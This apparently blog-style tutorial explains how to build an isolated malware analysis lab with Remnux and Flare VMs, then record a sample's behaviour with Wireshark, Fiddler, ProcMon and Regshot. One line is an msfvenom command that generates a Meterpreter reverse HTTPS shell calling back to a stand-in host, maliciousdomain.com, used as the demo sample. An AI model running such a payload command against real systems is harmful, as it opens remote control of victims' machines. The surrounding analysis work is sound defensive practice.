Malware Analysis Lab and Behavioral Analysis Steps

This article provides instructions to build a safe environment that you can use to learn the behavior of a malware sample. The article contains 2 parts as below:

• Malware lab: provides guides to build a safe and isolated environment to analyze Windows malware.
• Behavioral analysis: introduces steps to records traces/footprints left by a running malware sample. From the recorded data such as PCAP, process monitor (ProcMon) logs, DNS queries, web proxies requests, and registry changes, you can learn the behaviors of the examined malware.

Malware Lab

The lab can be built via a hypervisor such as VMware or VirtualBox on your personal/working computer. In theory, malware can escape the virtual machine and infect your real environment. However, if you apply good practice as advised below, it is unlikely a concern, at least in my humble experience.

Note: I use VMware for virtualization; hence, the instructions and configurations are based on VMware. However, other virtualizations (e.g Virtual Box) should provide similar configurations.

The lab topology is shown in the figure below. It contains 2 hosts:

• Remnux (Linux): is a pre-built Linux toolkit for malware analysis. It can be downloaded from this page. In this setup, Remnux has some interaction with your real environment to obtain Windows malware. However, as Linux has little to zero risk with Windows malware, it is considered safe. Remnux takes the role of the gateway, DNS server, and other services. Windows malware should be first transferred to Remnux. Then within the lab, Flare accesses Remnux (e.g SSH or HTTP) to retrieve the malware.
• Flare (Windows): is a fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing, etc. The installation guide can be found on the project Github page. Flare is where malware runs; hence, it must be fully isolated and must have no interaction with your physical machine. It can only and always only communicate with Remnux.

Figure 1: Network topology

The network configuration of both machines is as the figure below. “Network Adapter” should be “Host-only” so that both virtual machines can communicate with each other, but not to the Internet.

Figure 2: Network adapter setting

Now, it is time to configure VMs with IP addresses as in Figure 1. However, it is important to configure the Flare VM’s the default gateway and DNS server pointed to Remnux.

Figure 3: Flare VM IP Configuration

In addition, Flare VM must not be able to access shared folders, copy/paste, and drag/drop from and to the physical machine. There must be zero interaction between the physical machine and Flare VM.

Figure 4: Flare VM Isolation

Malware often communicates with its C2 or download additional tools via HTTP/HTTPS; hence, it is beneficial to capture all web requests. There are quite multiple tools for this purpose and here are a few popular free tools, namely Burp suite, OWASP ZAP, and Fiddler. I personally use Burp and ZAP for penetration testing purposes and Fiddler (which is simpler to use) to record web activities in my lab. After installing Fiddler in Flare, you will need to configure proxy so that Windows redirects all web requests to Fiddler as below:

• Configure Fiddler to listen on a specific port (Tool → Options)

Figure 5: Configure Fiddler to listen on a specific port

• Configure Fiddler to intercept HTTPS traffic (Tool →Options)

Figure 6: Configure Fiddler to intercept HTTPS sessions

• Configure Windows to redirect all web traffic to Fiddler (Tool → WinINET Options →Connections → LAN settings → Advance

Figure 7: Proxy setting configuration

Once, all have been set up and both machines can communicate with each other properly, a snapshot should be created for each machine so that after each analysis you can revert to the initial clean state.

Figure 8: Snapshot

Behavioral Analysis

This section provides steps and essential tools to record footprints of malware under examination.

For demonstration purposes, I generate a Meterpreter reverse shell with the following command in another VM — Kali and copy it to Remnux. Hence, I would expect to see a DNS request for maliciousdomain.com and web requests toward https://maliciousdomain.com/getcommand.php

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=maliciousdomain.com LPORT=443 LURI=getcommand.php -f exe -a x64 — platform windows > https_reverse_shell.exe

Steps in Remnux:

• Step 1- Enable routing in Remnux: it turns Remnux into a routing gateway for Flare.

Figure 9: Accept-all-ips command in Remnux

• Step 2 — Enable SSH server: it allows Flare to retrieve malware samples from Remnux via SSH.

Figure 10: Enable SSH server

• Step 3 — Start Wireshark and capture packets
• Start 4 — Start fakedns: it will answer all DNS requests to Remnux’s IP.

Figure 11: Enable DNS server

• Step 5 — Start Inetsim: it starts multiple simulated services as shown below.

Figure 12: Start simulated services

Steps in Flare:

• Step 1- Copy malware sample from Remnux via WinSCP

Figure 13: WinSCP to copy malware from Remnux

• Step 2 — Regshot: Take the first registry snapshot with Regshot and save the output. Do not close the Regshot application upon completion. You need to run the 2nd shot after executing the malware.

Figure 14: Take registry snapshot

• Step 3— Process Hacker: Once step 1 is completed, process hacker is useful to control the execution of malware.
• Step 4— Start Fiddle: It allows us to examine all web activities.

Figure 15: Start Fiddler to record web activities

• Step 5— Start ProcMon: It records a huge number of all Windows activities. This is the main data source to study malware behaviors.
• Step 6— Execute malware with admin privileges, wait for few minutes, and terminate it via Process Hacker. Some malware behave differently with and without admin privileges. Hence, you may want to conduct another analysis with a normal user account.
• Step 7 — Stop ProcMon and save logs to a CSV file.

Figure 16: Save ProcMon to a CSV file

• Step 8 — Take the 2nd shot and compare it with 1st shot. It will show all registries that have been changed after running the malware sample.
• Step 9 — Load ProcMon file to ProcDOT for visualization. ProcMon generated a huge amount of logs; hence, it would be easier to examine the activities of a process via a graph. However, ProcMon and ProcDOT usage are not the main focus of the article; therefore, readers are suggested to get acquainted with the tools in their own space.

Figure 17: ProcDOT to choose a process for visualization

Figure 18: ProcDOT visualization for PID 4200

Conclusion

The article has suggested a setup for a safe malware analysis lab and steps to perform behavioral analysis. From this foundation, readers are advised to practise analyzing malware samples in order to get familiar with introduced tools and generated logs.